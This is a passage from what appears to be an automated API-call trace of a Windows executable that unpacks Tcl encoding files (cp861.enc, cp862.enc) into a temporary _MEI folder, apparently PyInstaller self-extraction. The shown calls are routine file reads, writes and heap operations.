lpWideCharStr="rb") returned 3 [0036.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.090] GetFileType (hFile=0x10c) returned 0x1 [0036.090] htonl (hostlong=0x936d5100) returned 0x516d93 [0036.090] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561d93, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.090] htonl (hostlong=0x19020000) returned 0x219 [0036.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x219) returned 0x550600 [0036.090] htonl (hostlong=0x19020000) returned 0x219 [0036.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.090] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.090] htonl (hostlong=0x42040000) returned 0x442 [0036.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.090] htonl (hostlong=0x19020000) returned 0x219 [0036.090] htonl (hostlong=0x42040000) returned 0x442 [0036.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.090] CloseHandle (hObject=0x10c) returned 1 [0036.090] GetLastError () returned 0x0 [0036.090] SetLastError (dwErrCode=0x0) [0036.090] GetLastError () returned 0x0 [0036.090] SetLastError (dwErrCode=0x0) [0036.090] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.090] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.090] GetFileType (hFile=0x10c) returned 0x1 [0036.090] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.090] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.091] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.091] CloseHandle (hObject=0x10c) returned 1 [0036.091] GetLastError () returned 0x0 [0036.091] SetLastError (dwErrCode=0x0) [0036.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.091] GetFileType (hFile=0x10c) returned 0x1 [0036.091] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.091] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.091] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.091] CloseHandle (hObject=0x10c) returned 1 [0036.092] GetLastError () returned 0x0 [0036.092] SetLastError (dwErrCode=0x0) [0036.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc") returned 68 [0036.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp861.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.092] GetLastError () returned 0x2 [0036.092] SetLastError (dwErrCode=0x2) [0036.092] GetLastError () returned 0x2 [0036.092] SetLastError (dwErrCode=0x2) [0036.092] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc", lpFilePart=0x0) returned 0x43 [0036.092] GetLastError () returned 0x2 [0036.092] SetLastError (dwErrCode=0x2) [0036.092] GetLastError () returned 0x2 [0036.092] SetLastError (dwErrCode=0x2) [0036.092] GetLastError () returned 0x2 [0036.092] SetLastError (dwErrCode=0x2) [0036.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc") returned 68 [0036.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp861.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp861.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.092] GetFileType (hFile=0x10c) returned 0x1 [0036.092] htonl (hostlong=0x42040000) returned 0x442 [0036.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.092] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.093] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.093] CloseHandle (hObject=0x10c) returned 1 [0036.094] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.094] htonl (hostlong=0x30000000) returned 0x30 [0036.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.094] GetFileType (hFile=0x10c) returned 0x1 [0036.094] htonl (hostlong=0xac6f5100) returned 0x516fac [0036.094] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561fac, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.094] htonl (hostlong=0xe020000) returned 0x20e [0036.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20e) returned 0x550600 [0036.094] htonl (hostlong=0xe020000) returned 0x20e [0036.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.094] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.094] htonl (hostlong=0x42040000) returned 0x442 [0036.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.095] htonl (hostlong=0xe020000) returned 0x20e [0036.095] htonl (hostlong=0x42040000) returned 0x442 [0036.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.095] CloseHandle (hObject=0x10c) returned 1 [0036.095] GetLastError () returned 0x0 [0036.095] SetLastError (dwErrCode=0x0) [0036.095] GetLastError () returned 0x0 [0036.095] SetLastError (dwErrCode=0x0) [0036.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.095] GetFileType (hFile=0x10c) returned 0x1 [0036.095] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.095] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.095] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.095] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.095] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.095] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.096] CloseHandle (hObject=0x10c) returned 1 [0036.096] GetLastError () returned 0x0 [0036.096] SetLastError (dwErrCode=0x0) [0036.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.096] GetFileType (hFile=0x10c) returned 0x1 [0036.096] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.096] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.096] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.096] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.096] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.096] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.096] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.096] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.096] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.096] CloseHandle (hObject=0x10c) returned 1 [0036.096] GetLastError () returned 0x0 [0036.096] SetLastError (dwErrCode=0x0) [0036.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc") returned 68 [0036.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp862.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.096] GetLastError () returned 0x2 [0036.096] SetLastError (dwErrCode=0x2) [0036.096] GetLastError () returned 0x2 [0036.096] SetLastError (dwErrCode=0x2) [0036.097] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc", lpFilePart=0x0) returned 0x43 [0036.097] GetLastError () returned 0x2 [0036.097] SetLastError (dwErrCode=0x2) [0036.097] GetLastError () returned 0x2 [0036.097] SetLastError (dwErrCode=0x2) [0036.097] GetLastError () returned 0x2 [0036.097] SetLastError (dwErrCode=0x2) [0036.097] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc") returned 68 [0036.097] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp862.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp862.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.097] GetFileType (hFile=0x10c) returned 0x1 [0036.097] htonl (hostlong=0x42040000) returned 0x442 [0036.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.097] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.098] CloseHandle (hObject=0x10c) returned 1 [0036.099] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.099] htonl (hostlong=0x30000000) returned 0x30 [0036.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.099] GetFileType (hFile=0x10c) returned 0x1 [0036.099] htonl (hostlong=0xba715100) returned 0x5171ba [0036.099] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5621ba, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.099] htonl (hostlong=0x18020000) returned 0x218 [0036.099] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0036.099] htonl (hostlong=0x18020000) returned 0x218 [0036.099] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.099] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.099] htonl (hostlong=0x42040000) returned 0x442 [0036.099] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.099] htonl (hostlong=0x18020000) returned 0x218 [0036.099] htonl (hostlong=0x42040000) returned 0x442 [0036.099] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.099] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.099] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.099] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.099] CloseHandle (hObject=0x10c) returned 1 [0036.100] GetLastError () returned 0x0 [0036.100] SetLastError (dwErrCode=0x0) [0036.100] GetLastError () returned 0x0 [0036.100] SetLastError (dwErrCode=0x0) [0036.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.100] GetFileType (hFile=0x10c) returned 0x1 [0036.100] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.100] CloseHandle (hObject=0x10c) returned 1 [0036.100] GetLastError () returned 0x0 [0036.100] SetLastError (dwErrCode=0x0) [0036.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.100] GetFileType (hFile=0x10c) returned 0x1 [0036.100] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.101] SystemTimeToTzSpecificLocalTime (in: 